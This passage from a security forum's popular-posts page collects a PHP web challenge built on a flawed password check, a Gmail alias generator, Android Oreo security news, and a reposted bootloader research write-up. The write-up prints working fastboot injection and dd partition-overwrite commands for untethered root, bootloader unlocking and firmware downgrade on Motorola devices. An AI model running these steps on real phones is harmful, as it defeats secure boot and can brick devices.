Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 08/30/17 in all areas

  1. Salutări, Zilele trecute am făcut un audit pe o aplicaţie şi am descoperit o vulnerabilitate destul de interesantă, aşa că am zis să fac un web challenge pe partea asta. Scenariu Un programator a creat scriptul următor PHP care cere o parolă pentru a vedea conţinutul privat al site-ului: <?php $mysql = mysqli_connect("","","","") or die("Conexiune esuata la baza de date."); $par = htmlentities($_GET['par'],ENT_QUOTES); if(strlen($par) > 0) { $sql = $mysql->query("select * from passwords where password='$par'"); if($sql->num_rows > 0) { //continut privat }else{ echo "Parola nu a fost gasita in baza de date."; } }else{ echo "Se asteapta parola in parametrul GET <strong>par</strong>."; } După terminarea scriptului, el a adăugat în MySQL comanda următoare, uitând să completeze câmpul de parolă: INSERT INTO `passwords` (`ID`, `password`) VALUES (1, ''); În final, programatorul a făcut publică aplicaţia la adresa următoare: http://dragos.interinfo.ro/rst/chall/ Cerinţă Scopul exerciţiului este ca să treceţi de filtrările PHP şi să afişaţi conţinutul privat. Detalii tehnice scriptul este acelaşi şi pe host userul MySQL are doar drept de select şi are acces doar pe baza de date dedicată exerciţiului După ce aţi rezolvat Trimiteţi-mi un PM cu mesajul afişat în cadrul conţinutului privat şi linkul final şi vă voi adăuga în lista de mai jos. Cine a rezolvat până acum: - adicode - aleee - caii - dancezar - DLV - Gecko - Hertz - kandykidd - Matasareanu - Nytro - Pintilei - pr00f - Silviu - Sim Master - SirGod - theandruala - u0m3 - xenonxsc - yukti
    7 points
  2. Gmail oferă posibilitatea de a avea adresa personală cu punct sau fără (mai multe info aici). Prin scriptul următor se pot genera toate combinaţiile posibile pentru un ID dat. <?php /* Generate all combinations for a gmail username Author: Dragos <dragos@interinfo.ro> */ $input = "person"; $emails = generate_gmail($input); foreach($emails as $email) echo $email . "\n"; function generate_gmail($string) { $chars = str_split($string); $input = array(); for($i=0;$i<count($chars)-1;$i++) $input[] = array($chars[$i], $chars[$i] . "."); $input[] = array($chars[count($chars)-1]); $result = array(); foreach ($input as $key => $values) { if (empty($values)) continue; if (empty($result)) { foreach($values as $value) $result[] = array($key => $value); }else{ $append = array(); foreach($result as &$product) { $product[$key] = array_shift($values); $copy = $product; foreach($values as $item) { $copy[$key] = $item; $append[] = $copy; } array_unshift($values, $product[$key]); } $result = array_merge($result, $append); } } $final = array(); foreach($result as $res) $final[] = implode("",$res) . "@gmail.com"; return $final; }
    2 points
  3. ANDROID INTELLIGENCE By JR Raphael, Contributing Editor, Computerworld | AUG 29, 2017 10:01 AM PT About | Not your average Android news -- a diverse mix of advice, insight, and analysis with veteran Android journalist JR Raphael. Try it with margarine for a low-cal treat! ANDROID 8.0 OREO Android 8.0 in-depth: Oreo's not-so-obvious security enhancements Some deep-dive details on significant security upgrades headed to your device with Google's Android 8.0 Oreo release. Android 8.0 Oreo Android 8.0: The complete Oreo FAQ When will your phone get Android 8.0? A... How to get Android 8.0 Oreo on your... Oh, Oreo! 8 things to try when you get... Android 8.0 in-depth: Oreo's... When you read about a splashy new software update like Google's fresh-from-the-oven Android 8.0 Oreo release, you tend to hear mostly about the marquee features — the most attention-grabbing elements and refinements you're likely to notice when you get the update on your own device. It's understandable, since those are the things we all see most immediately and directly. Beneath the surface, though, Oreo has some pretty significant stuff going on in the realm of security — stuff that hasn't been widely covered but is as important as anything else to understand. Some of it's fairly technical and much of it's the sort of info you'd probably never encounter if you didn't frequent developer-targeted talks and forums. But all of it affects your phone's ability to keep you safe from theoretical threats — and all of it is worthwhile to be aware of. Here are the high points, translated from mumbo jumbo into practical, plain-English terms. Android 8.0 security point #1: Oreo changes some things about permissions. Whenever you install a new app, you grant it permission to access certain types of data and perform certain types of functions on your device. (You know when you first run an app, and it shows you a bunch of info — all those prompts you hit "OK" on without paying close attention? Yeah, that's the stuff.) With Oreo, Android is rethinking a couple of those permissions and scaling back what apps are allowed to do. Up first is a permission for generating something called a System Alert Window. It's ostensibly for displaying, y'know, system alerts — but over time, it's been adopted for a variety of other overlay-oriented purposes. Some apps use it to provide picture-in-picture-like elements that float on top of other apps, for instance, while password management utilities have traditionally used it to generate pop-up boxes for filling in forms across the operating system. That's all well and good, but Google realized the same System Alert Window permission actually raised the potential for abuse. Randomware apps could essentially use it to take over your screen and trick you into providing sensitive info or clicking on questionable links to escape. [ To comment on this story, visit Computerworld's Facebook page. ] Oreo addresses this by introducing some new System Alert Window limits. Specifically, the contents of such windows can no longer cover up critical areas of your screen like your status bar or lock screen, and a new persistent notification now appears whenever an overlay is present so you always have a built-in way to dismiss it and move on. Another long-standing Android permission, Device Admin, is also being restricted as of Oreo so that apps can no longer use it to prevent themselves from being uninstalled or to alter your system password — again, with the goal of reducing the potential for abuse by any ill-intending apps. So why did the broader versions of the permissions stick around for so long? That's what I wondered, too. I had the chance to ask Xiaowen Xin, Google's product manager for Android platform security. Xin says that in some cases, Google recognized the legitimate ways developers wanted to use the permissions and wanted to make sure those use-cases were covered — by implementing a proper picture-in-picture option and native auto-fill function, in the case of Oreo and the System Alert Window — before introducing any limits. "Android comes from a stance of trying to be more open, and we're trying to provide APIs that in some cases are for power users," Xin explains. "It's a constant challenge for us and that's unique to Android of balancing how to protect users and [yet still providing advanced] functionality." Android 8.0 security point #2: Oreo checks itself in some wild new ways. Android has had a Verified Boot system since 2013, when KitKat was the name of the day. From its beginning, the system has checked your phone's software every time your device starts up to make sure everything's in proper working order. With Oreo, the system is expanding: In addition to performing the standard startup checks, Android's Verified Boot feature will now prevent your device from starting if it's been rolled back to an older and thus less secure version of the operating system. Why? Simple: Such protection would prevent anyone from taking control of your device and manually downgrading you to a previous version of Android in order to exploit an old bug that's patched in the more current version. "Once you reboot, you'd actually be clean again — so any exploit would no longer be running on your phone," Xin says. Oreo also supports the ability for the secure hardware area of a device to generate a statement guaranteeing that the system has passed that Verified Boot check and has a reasonably recent Android security patch. That could be utilized by something like a bank — to ensure a device hasn't been compromised before granting access to a customer — or even an enterprise, to confirm with near-certainty that its employees' phones are secure. Android 8.0 security point #3: Oreo can use a credit-card-like chip to secure your sign-in info. Ready for more? Oreo introduces support for new tamper-resistant hardware — so basically, the same sort of chip that stores sensitive info in a modern credit card could store your PIN, pattern or password on a future Android phone. That info is already stored in an area known as the Secure Element, but moving it to the chip makes it even more difficult for someone to perform a physical attack on your device and get around your lock screen. So what about fingerprint data? That's precisely what I wondered, too. (You and I are just on the same page today, aren't we? We really oughta hang out more often.) Turns out biometric security info like your pawprints aren't included in the new chip-based system — because the tradeoff of the system's added security is reduced speed. In other words, it's slower than the regular method of authentication, and Google doesn't want you to have to wait multiple seconds for your pointer to be recognized. But for an enterprise scenario where bulletproof security trumps everything else in importance, it's easy to see how this capability could be beneficial. Android 8.0 security point #4: Oreo gets (even more) serious about sandboxing. This isn't the playground kind of sandbox fun (though if you're reading this while in a sandbox, kudos to you, sir and/or madam). Android has long utilized sandboxing to keep different parts of the operating system in their own isolated areas — so that if something does manage to infect one part of the software, it won't be able to reach another. With Oreo, the effort expands on a few different levels. First, there's Project Treble — you've heard of it, right? Treble isolates the device-independent parts of the operating system from the device-dependent parts of the operating system. Much of the focus thus far has revolved around how this separation could (theoretically, with some asterisks) make it easier for manufacturers to process and send out Android OS updates, but there's an equally important factor in its effect on security. Remember? Sandboxing. "If you have an exploit in one [area], it's now harder for that to affect a different part of the operating system," Xin says. Android 8.0 also sandboxes apps more closely with something called a seccomp filter (gesundheit!). For the non-engineers among us, the short version is that this makes it more difficult for a naughty app to do anything dangerous to the kernel — the operating system's brain or command center, in the simplest possible terms — by limiting the ways in which apps can interact directly with it. (If you want the full technical version, you can find it here. Godspeed.) Last but not least, Android's WebView function — which allows developers to show you web-based content within their apps — moves to its own separate process as of Oreo. That means if you run into some sort of web-based bug while viewing a site within an app, it shouldn't be able to reach or affect any other areas of the operating system. Sandboxing. Again. Got all that? Good. Let's move on. Android 8.0 security point #5: Oreo enhances encryption for the enterprise. This point's relatively minor, but if you're using Android in an enterprise environment, it's significant: As of Android 8.0, all devices use a different key for encrypting personal profiles and work profiles. And beyond that, the device administrator has the ability to activate the work profile key remotely and make sure work data is fully secured anytime, anywhere. Oh, and a tantalizing tease: Google is working on "a lot more" with encryption for 2018's Android P release, Xin says. So stay tuned. Android 8.0 security point #6: Oreo natively supports two-factor authentication keys. Last but not least: If you're using two-factor authentication to protect your accounts (and you absolutely should be — c'mon!), Oreo allows you to use a physical security key as your second form of authentication. Just connect your key to your Android device via Bluetooth, NFC or USB, and you won't have to find and input the usual two-factor code when you sign into a secured account. The asterisk is that this is available via a new API — so that means it'll be up to individual apps to support it as a feature, and you won't find many places where it'll work just yet. Long-term, though, it could be a relevant addition for security-minded users who don't mind carrying an extra contraption for convenience. And a bonus: This update is actually being delivered via Google Play Services, so it'll apply to devices running software all the way back to Android 5.0 (Lollipop) or higher. Google tells me it'll eventually be supported at the system level, too, for adding two-factor-protected Google accounts onto your device. From a bigger picture perspective, of course, Android security is a puzzle with lots of moving pieces. All the stuff we're talking about here works alongside a multilayered system for scanning and protection — one that's present and functional on practically every reasonably recent Android device — and is supplemented by monthly security patches to fill in the gaps between OS releases. When it comes to both security and mobile software, the evolution never ends. [Android 8.0: The complete Oreo FAQ] Sursa: https://www.computerworld.com/article/3220446/android/android-8-oreo-security.html
    2 points
  4. Pentru că m-aţi întrebaţi mulţi care e şpilul cu chall-ul, o să dau un exemplu real-case. În anumite platforme custom-made, scriptul de resetare a parolei arată ca cel de mai sus şi tabelul de utilizatori arată ceva de genul: ID | username | password | reset_token În momentul creării unei cereri noi de resetare, se generează un token pentru utilizator adăugat în reset_token în rândul cu utilizatorul. Utilizatorul accesează un link de genul următor reset.php?token=d41d8cd98f00b204e9800998ecf8427e&id=1 şi îi apare un formular în care să-şi introducă noua parolă pentru cont, după care câmpul reset_token se resetează. Utilizând vulnerabilitatea, putem reseta parola oricărui utilizator şi putem accesa platforma la nivel de administrator.
    2 points
  5. Un articol interesant ce descrie relativ detaliat modul de functionare al sistemelor auxiliare dintr-un PC modern, cu accent pe modul de functionare al Intel Management Engine si cum poate fi dezactivat acesta. Conform articolului, este primul capitol dintr-o serie. Articol: http://blog.ptsecurity.com/2017/08/disabling-intel-me.html
    2 points
  6. Keyczar Important note: KeyCzar has some known security issues which may influence your decision to use it. See Known Security Issues. Introduction Keyczar is an open source cryptographic toolkit designed to make it easier and safer for developers to use cryptography in their applications. Keyczar supports authentication and encryption with both symmetric and asymmetric keys. Some features of Keyczar include: A simple API Key rotation and versioning Safe default algorithms, modes, and key lengths Automated generation of initialization vectors and ciphertext signatures Java, Python, and C++ implementations International support in Java Keyczar was originally developed by members of the Google Security Team and is released under an Apache 2.0 license. Quick Links Known Security Issues Discussion Group Design Document (PDF) Why Keyczar? Cryptography is easy to get wrong. Developers can choose improper cipher modes, use obsolete algorithms, compose primitives in an unsafe manner, or fail to anticipate the need for key rotation. Keyczar abstracts some of these details by choosing safe defaults, automatically tagging outputs with key version information, and providing a simple programming interface. Keyczar is designed to be open, extensible, and cross-platform compatible. It is not intended to replace existing cryptographic libraries like OpenSSL, PyCrypto, or the Java JCE, and in fact is built on these libraries. Sursa: https://github.com/google/keyczar
    1 point
  7. Introduction Herein we release our analysis of a previously undocumented backdoor that has been targeted against embassies and consulates around the world leads us to attribute it, with high confidence, to the Turla group. Turla is a notorious group that has been targeting governments, government officials and diplomats for years. They are known to run watering hole and spearphishing campaigns to better pinpoint their targets. Although this backdoor has been actively deployed since at least 2016, it has not been documented anywhere. Based on strings found in the samples we analyzed, we have named this backdoor “Gazer”. Recently, the Turla APT group has seen extensive news coverage surrounding its campaigns, something we haven’t seen for a long time. The Intercept reported that there exists a 2011 presentation by Canada’s Communication Security Establishment (CSE) outlining the errors made by the Turla operators during their operations even though the tools they use are quite advanced. The codename for Turla APT group in this presentation is MAKERSMARK. Gazer is, similar to its siblings in the Turla family, using advanced methods to spy and persist on its targets. This whitepaper highlights the campaigns in which Gazer was used and also contains a technical analysis of its functionalities. Download: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
    1 point
  8. Untethered initroot (USENIX WOOT '17) By Roee Hay (@roeehay) August 30, 2017 * CVE-2016-10277 ALEPH-2017024 In USENIX WOOT ‘17, that took place earlier this month in Vancouver, we presented our paper, “fastboot oem vuln: Android Bootloader Vulnerabilities in Vendor Customizations”, covering a year’s work in Android bootloaders research. Our paper also includes some previously undisclosed details on CVE-2016-10277, a critical kernel command-line injection vulnerability in the Motorola Android Bootloader (ABOOT) that we had found and blogged about. In the previous couple of blog posts, we demonstrated a tethered unrestricted root exploit against that vulnerability, that we later extended to other Moto devices - G4 & G5. Additional Moto devices have also been confirmed by the community. In the WOOT’17 paper we describe a natural continuation of that exploit – a second stage untethered secure boot & device locking bypass (tested to be working on the vulnerable versions of Nexus 6, Moto G4 & G5). Moreover, we also present in the paper and this blog post other second stage exploits, such as persistent kernel code execution in Nexus 6, the ability to downgrade critical partitions (such as the bootloaders chain and TrustZone), unlocking a re-locked Nexus 6 bootloader, and more. As usual, our PoC exploit is publicly available in our GitHub repo. DISCLAIMER: Unlike the previous ephemeral jailbreak, the one presented today may brick your device. For example, during the development of it, we had to unlock our (luckily unlockable!) Moto G5 device in order to unbrick it. Table of Contents Recap of the Vulnerability and the Tethered-jailbreak Persisting the Payload Owning the Unused Partition Forcing Linux to Use our root Partition Putting it all Together: from shell user to Untethered root Kernel Command-line Injection from Platform OS Kernel Command-line Overlay: cmdl Accessing the UTAGs Block Device Other Second-stage Exploits – Persistent Kernel Code Execution on Nexus 6 – Unlocking a Re-locked Nexus 6 device from Platform OS – Downgrade of Critical Partitions – Modifying the system partition (Moto G4 and others) Conclusion Recap of the Vulnerability and the Tethered-jailbreak Vulnerable versions of the Motorola Android Bootloader (ABOOT) allow for kernel command-line injection. Using a proprietary fastboot OEM command, only available in the Motorola ABOOT, we can inject, through USB, a parameter named initrd which allows us to force the Linux kernel to populate initramfs into rootfs from a specified physical address. We can abuse the ABOOT download functionality in order to place our own malicious initramfs at a known physical address, named SCRATCH_ADDR (see here for a list of devices). Exploiting the vulnerability allows the adversary to gain unconfined root shell. Since the initramfs payload is injected into RAM by the adversary, the vulnerability must be re-exploited on every reboot. For example, here is a successful run of the exploit on cedric (Moto G5) $ fastboot oem config fsg-id "a initrd=0xA2100000,1588598" $ fastboot flash aleph initroot-cedric.cpio.gz $ fastboot continue $ adb shell cedric:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0 cedric:/ # getenforce Permissive cedric:/ # Persisting the Payload Making an untethered exploit implies that we must somehow persist our payload. In general, although we have block-device write access with the unconfined root shell, due to Verified Boot we cannot make the system load with a tampered boot or systempartitions. It turns out, however, that our Moto devices have some unused partition we can populate our malicious initramfs into: .--------.---------------------------------------------.-------------.------. | Device | Partition | Real name | Size | |--------|---------------------------------------------|-------------|------| | shamu | /dev/block/platform/msm_sdcc.1/by-name/padA | mmcblk0p11 | 4.1M | | athene | /dev/block/bootdevice/by-name/padC | mmcblk0p41 | 22M | | cedric | /dev/block/bootdevice/by-name/padA | mmcblk0p48 | 2.9M | `--------'---------------------------------------------'-------------'------' In addition, as also suggested by Ethan Nelson-Moore, attackers can use the SD card partition (mmcblk1p1), if the device has one (shamu doesn’t, for example). Obviously, using the SD card does not require the first stage ephemeral exploit, as one can prepare it offline. It should be noted that a significant drawback of targeting SD cards, from the adversary perspective, is that it implies a physical attack only (unless the adversary targets a device with an already inserted SD card). Owning the Unused Partition The first step is to create an empty ext4 partition. At the host: $ dd if=/dev/zero of=empty.ext4 count=<size> ibs=1 $ mkfs.ext4 ./empty.ext4 The next step is to populate the malicious initial ramdisk archive into the in-file ext4 filesystem. This can be done either on the host or on the device. On the device, one can replace the unused partition with the empty ext4 filesystem we have just created, mount it, and use cpio to populate the malicious initramfs. The attacker should also restore the SELinux contexts, and create the /sbin/init -> /init symbolic link – see the next section for more details. $ adb push ./empty.ext4 /data/local/tmp $ adb push ./initroot-unpadded.cpio.gz /data/local/tmp $ adb shell athene:/ # dd if=/data/local/tmp/empty.ext4 of=/dev/block/bootdevice/by-name/padC 44800+0 records in 44800+0 records out 22937600 bytes transferred in 4.658 secs (4924345 bytes/sec) athene:/ # mkdir /data/local/tmp/pad athene:/ # mount /dev/block/bootdevice/by-name/padC /data/local/tmp/pad athene:/ # cd /data/local/tmp/pad athene:/ # gzip -c -d ../initroot-unpadded.cpio.gz | cpio -i athene:/ # ln -s ../init ./sbin/init athene:/ # chroot /data/local/tmp/pad restorecon -R . athene:/ # cd .. athene:/ # umount /data/local/tmp/pad The target partition now has the payload. It can be saved for later use on other devices (of the same model), i.e. $ adb pull /dev/block/bootdevice/by-name/padC initroot.ext4 On other devices, populating it is now trivial: $ adb push initroot.ext4 /data/local/tmp $ adb shell athene:/ # dd if=/data/local/tmp/initroot.ext4 of=/dev/block/bootdevice/by-name/padC Please note that the persisted payload may need some extra-massaging. For example, in order to overcome the tight size limitation of the cedric unused partition, we packed the binaries of the malicious initramfs (using UPX). In shamu, we had to a priori create some directories (/firmware, /persist), which are probably made by an init script. (This cannot happen on our readonly mounted root partition.) Since we populated our malicious initramfs archive in some unused partition, we still need to lure Linux to use it as the root partition. Forcing Linux to Use Our root Partition Leaving many details behind, Linux prepares the root filesystem as follows (taking into account the Moto kernels config). It unpacks an internal initramfs to rootfs. It tries to populate a bootloader-supplied initramfs from a physical address (initrd_{start,end}), specified in the Device-Tree Blob (DTB). In ARM/64 that can also be specified in the kernel command line by the initrd argument. We abuse this functionality with the tetherd exploit. If it fails, it reverts to an older initrd mechanism, copying from initrd_start into /initrd.image under rootfs. It tries to access ramdisk_execute_command with a default value of /init (which can be overridden by specifying rdinit on the kernel command line) on rootfs. If it succeeds, it will soon execute it and we are done. This is the normal flow on regular boots. It will try to load /initrd.image from rootfs into /dev/ram0 unless the noinitrdargument is specified. It will then execute /linuxrc unless the ‘real’ root device is /dev/ram0. If a root argument is specified, the kernel will mount it (read only, unless the rwargument is specified) as the root filesystem. If execute_command is specified (by the init argument), the kernel will eventually execute it. If it succeeds, we are done. The kernel will try to execute /sbin/init, /etc/init, /bin/init, /bin/sh in order until it succeeds, and panic otherwise. We can thus conclude that the adversary can coerce Linux to use our tampered partition (/dev/block/bootdevice/by-name/padC) as the root partition by supplying the following arguments: Bogus initrd, or rdinit= parameters in order to make the kernel fail on (2), (3) and (4). root=/dev/<real block name> to use our owned partition. rw. Optional. Only required for the factory initramfs archive if we do not restorecon. (See above.) init=/init. Optional. Only required if we do not create the /sbin/init symbolic link in the root partition. (See above.) Hence, the minimum number of bytes which are needed to inject into the cmdline is 29-30 (depending on the partition). For example, on cedric, the fastboot command would be: fastboot oem fsg-id "a rdinit= root=/dev/mmcblk0p48" Luckily (although we can also overcome this limitation, see next), ABOOT limits the string length of fsg-id parameter to 32 bytes before injecting it into the kernel command-line, so although we do not have much leeway with this UTAG, we managed to fit our payload in! Putting it all Together: From shell user to untethered root $ adb shell athene:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input), [...] context=u:r:shell:s0 $ adb reboot bootloader $ fastboot oem config fsg-id a initrd=0x92000000,2505052 $ fastboot flash aleph initroot-athene-xt1622-npjs25.93-14-4.cpio.gz $ fastboot continue resuming boot... OKAY [ 0.006s] finished. total time: 0.006s $ adb shell id uid=0(root) gid=0(root) groups=0(root) [...] context=u:r:kernel:s0 $ adb push padC-initroot /data/local/tmp $ adb shell dd of=/dev/block/bootdevice/by-name/padC if=/data/local/tmp/padC-initroot $ adb reboot bootloader $ fastboot oem config "a rdinit= root=/dev/mmcblk0p41" $ fastboot continue $ adb shell athene:/ # exit $ adb reboot $ adb shell athene:/ # Kernel Command-line Injection from Platform OS Before we created this very succinct payload (29-30 bytes), we had thought we wouldn’t be able find a payload that fit in the fsg-id UTAG. For instance, we incorrectly asserted that we would need to provide the rw and init arguments. We soon realized that by using initroot as a first stage exploit, we could cause ABOOT to inject another string into the kernel cmdline, which was much more spacious (256 bytes). More importantly, what described next is independent of CVE-2016-10277 (in contrast to the previous payload), so if the adversary manages to gain a block-device access (with or without CVE-2016-10277), he can achieve a persistent root. Kernel Command-line Overlay: cmdl Interestingly, in our Moto devices (and also Nexus 6!) there is one UTAG which has caught our attention (in shamu this command will fail, although the UTAG is supported): $ fastboot oem config cmdl ... (bootloader) <UTAG name="cmdl" type="str" protected="true"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) Kernel command line overlay (bootloader) add/modify option: <option>=<value> (bootloader) remove option: -<option> (bootloader) </description> (bootloader) </UTAG> While very appealing, unfortunately this UTAG cannot be controlled from fastboot on production devices: $ fastboot oem config cmdl foo=bar (bootloader) slot-count: not found (bootloader) slot-suffixes: not found (bootloader) slot-suffixes: not found ... (bootloader) Not allowed command FAILED (remote failure) finished. total time: 0.007s It’s a pity, because decompiling ABOOT!update_cmdline with IDA shows that this UTAG is limited to 256 bytes, more than enough of what we initially needed: _BYTE *__fastcall update_cmdline(_BYTE *a1, int a2) { [...] v86 = malloc(256); if ( !v86 ) panic(v2, "ASSERT FAILED at (%s:%d): %s\n", "app/mbm/linux_boot.c", 612, "overlay_buf != NULL"); if ( _utag_gets(0, "cmdl", v86, 256) ) { v87 = cmd_overlay_command_tokens(v67, v86); if ( v87 ) { v88 = v67; v67 = v87; free(v88); } } } But can we use our block-device access (as we can achieve with the first stage initrootexploit) in order to control that UTAG? Accessing the UTAGs Block Device As explained above, using the unrestricted root we achieve with initroot, we can write on arbitrary block devices (which are not write-protected). The UTAGs reside under a device-specific partition: .--------.----------------------------------------------.------------. | Device | Partition | Real name | |--------|----------------------------------------------|------------| | shamu | /dev/block/platform/msm_sdcc.1/by-name/utags | mmcblk0p11 | | athene | /dev/block/bootdevice/by-name/utags | mmcblk0p21 | | cedric | /dev/block/bootdevice/by-name/utags | mmcblk0p25 | `--------'----------------------------------------------'------------' Let’s examine one of them: $ adb shell id uid=0(root) gid=0(root) [...] context=u:r:kernel:s0 $ adb pull /dev/block/bootdevice/by-name/utags $ hexdump -C utags 00000000 5f 5f 55 54 41 47 5f 48 45 41 44 5f 5f 00 00 00 |__UTAG_HEAD__...| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 66 73 67 2d |............fsg-| 00000030 69 64 3a 73 74 72 00 00 00 00 00 00 00 00 00 00 |id:str..........| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c |................| 00000050 00 00 00 00 00 00 00 00 61 20 69 6e 69 74 72 64 |........a initrd| 00000060 3d 30 78 39 32 30 30 30 30 30 30 2c 32 35 30 35 |=0x92000000,2505| 00000070 30 35 32 00 62 6f 6f 74 6d 6f 64 65 3a 73 74 72 |052.bootmode:str| [...] 00000a00 20 20 20 20 20 20 00 58 46 46 1f 0b 2e 72 65 62 | .XFF...reb| 00000a10 6f 6f 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |oot.............| 00000a20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 |................| 00000a30 00 00 00 00 00 00 00 00 30 00 00 00 5f 5f 55 54 |........0...__UT| 00000a40 41 47 5f 54 41 49 4c 5f 5f 00 00 00 00 00 00 00 |AG_TAIL__.......| 00000a50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| We can observe that our injected argument (fsg-id) is there. Basic understanding of the format can easily be achieved by just observing this sample: The UTAG name is specified alongside its type (e.g. fsg-id:str) At some offset from the start of UTAG, the number of data bytes are specified (0x1cat offset 0x4f) The data is placed at a specific offset from the start of the UTAG. Equipped with this knowledge, we can add our malicious cmdl UTAG. 000004c0 63 20 65 66 67 68 3d 6a 6b 6c 00 00 63 6d 64 6c |c efgh=jkl..cmdl| 000004d0 3a 73 74 72 00 00 00 00 00 00 00 00 00 00 00 00 |:str............| 000004e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b |...............;| 000004f0 00 00 00 00 00 00 00 00 66 6f 6f 31 3d 62 61 72 |........foo1=bar| 00000500 31 20 66 6f 6f 32 3d 62 61 72 32 20 66 6f 6f 33 |1 foo2=bar2 foo3| 00000510 3d 62 61 72 33 20 66 6f 6f 34 3d 62 61 72 34 20 |=bar3 foo4=bar4 | 00000520 66 6f 6f 35 3d 62 61 72 35 20 20 20 20 20 20 20 |foo5=bar5 | 00000530 20 20 00 00 73 6b 75 3a 73 74 72 00 00 00 00 00 | ..sku:str.....| Since this partition is NOT write-protected, we can overwrite it even if we are not running in recovery mode: (Kudos to @autoprime – at the beginning I thought one must use initroot in recovery mode for that, albeit it’s also possible by simply selecting recovery mode on the fastboot menu, during exploitation – that’s how we managed to overwrite the system partition on old Moto devices such as athene). $ adb push ./utags /data/local/tmp $ adb shell athene:/ # dd if=/data/local/tmp/utags of=/dev/block/bootdevice/by-name/utags athene:/ # reboot bootloader $ fastboot oem config cmdl ... (bootloader) <UTAG name="cmdl" type="str" protected="false"> (bootloader) <value> (bootloader) foo1=bar1 foo2=bar2 foo3=bar3 foo4=bar4 foo5=bar5 (bootloader) (bootloader) </value> (bootloader) <description> (bootloader) Kernel command line overlay (bootloader) add/modify option: <option>=<value> (bootloader) remove option: -<option> (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.025s] finished. total time: 0.025s We can see that we indeed managed to inject our own data into the non-fastboot accessible UTAG! Again, being able to control this UTAG allows for a persistent root, independently of CVE-2016-10277 (given that you have block-device access). Other Second-stage Exploits In addition to the generic second stage exploit depicted above, we also describe in the paper and the following sections additional attacks. (Some are device-specific.) Persistent Kernel Code Execution on Nexus 6 During our disclosure process, Android Security also observed that on shamu, an unrestricted root (as we gain with the ephemeral initroot), or one that runs under an SELinux domain with block device access, can overwrite the bootloader chain, boot, and system partitions. Due to incomplete Secure/Verified Boot implementation (verified on our re-locked Nexus 6 device), the boot partition is not verified, which implies a persistent kernel code execution – by using the ephemeral initroot exploit, the attacker can completely replace the boot partition with a tampered one (which makes the aforementioned second-stage exploit on Nexus 6 redundant), containing a malicious kernel image and an initramfs cpio archive. Afterwards, the attacker can simply reboot into fastboot, and remove the malicious utag. The attacker’s supplied kernel code and initramfs will then be loaded on every boot. Unlocking a Re-locked Nexus 6 device from Platform OS Back in 2013, Dan Rosenberg found a vulnerability in the Motorola TrustZone kernel, allowing him to unlock the Motorola bootloader. In his blog, Dan depicted how Motorola implemented bootloader locking (also relevant for shamu), which can be summarized with the following state machine: .---------. | Factory | .----------. | Locked | ---> | Unlocked | <---. (3) `---------' (1) `-----.----' | | .-----------. `----> | Re-locked | (2) `-----------' The transitions are as follows: The user first unlocks the device. The WARRANTYVOID qfuse is blown. This transition is governed by TEE thus it cannot be done from the Platform OS. User re-locks the device. Bootloader writes an entry under the sp partition, with an HMAC produced by TEE. User unlocks the device. Bootloader removes that entry. Conclusion: An unrestricted root (as one could gain by exploiting CVE-2016-10277) can unlock a re-locked bootloader by invalidating the sp partition. We tagged this vulnerability as ALEPH-2017024. $ fastboot getvar all ... (bootloader) secure: yes (bootloader) unlocked: no (bootloader) securestate: locked (bootloader) iswarrantyvoid: yes (bootloader) mot_sst: 2 $ fastboot oem config fsg-id "a initrd=0x11000000,1519997" $ fastboot flash foo initroot.cpio.gz $ fastboot continue $ adb shell shamu:/ # echo 0 > /dev/block/platform/msm_sdcc.1/by-name/sp shamu:/ # reboot bootloader $ fastboot getvar all ... (bootloader) unlocked: yes (bootloader) securestate: unlocked (bootloader) iswarrantyvoid: yes (bootloader) mot_sst: 3 Downgrade of Critical Partitions As mentioned above, by being able to write on block devices, one can overwrite the bootloader chain (SBL1, ABOOT), TrustZone and other signed partitions (e.g. boot & recovery). Although such a replacement succeeds, due to Secure Boot, the boot flow will end in the PBL’s Emergency Download Mode (EDL) (verified on shamu) or fastboot, depending on which partition has failed verification. Despite that, since older images are perfectly-signed ones, downgrade attacks are possible, unless mitigated using the SW_ID field. It seems that Nexus 6 does not increase the SW_ID field between bootloader versions, thus the attacker can downgrade those signed partitions, allowing for exploitation of now-patched vulnerabilities in critical code. Other Moto devices are not immune too – verified on athene (that uses a different signing format), we were able to downgrade SBL1, ABOOT and TrustZone: $ fastboot getvar all | grep git (bootloader) sbl1.git: git=MBM-NG-VB1.05-0-ge433b40 (bootloader) rpm.git: git=a970ead (bootloader) tz.git: git=119e5b2-dirty (bootloader) hyp.git: git=119e5b2-dirty (bootloader) keymaster.git: git=119e5b2-dirty (bootloader) cmnlib.git: git=119e5b2-dirty (bootloader) aboot.git: git=MBM-NG-VB1.05-0-ge433b40 $ fastboot oem config fsg-id "a initrd=0x92000000,2505052" $ fastboot flash aleph initroot.cpio.gz $ fastboot continue $ adb push old_* /data/local/tmp $ adb shell athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/aboot athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/tz athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/sbl1 athene:/ # reboot bootloader $ fastboot getvar all | grep git (bootloader) sbl1.git: git=MBM-NG-VB0.0E-0-g83950b7 (bootloader) rpm.git: git=a970ead (bootloader) tz.git: git=9fa1804 (bootloader) hyp.git: git=119e5b2-dirty (bootloader) keymaster.git: git=119e5b2-dirty (bootloader) cmnlib.git: git=119e5b2-dirty (bootloader) aboot.git: git=MBM-NG-VB0.0E-0-g4986429 Modifying the system partition (Moto G4 and others) Due to secure boot, modifying the boot and recovery partitions on recent Motorola devices (such as athene & cedric) will cause the boot process to end in the fastboot mode. In order to achieve persistent code execution, the attacker, however, can aim at a different target – the system partition. Such a modification, however, is expected to be both prevented 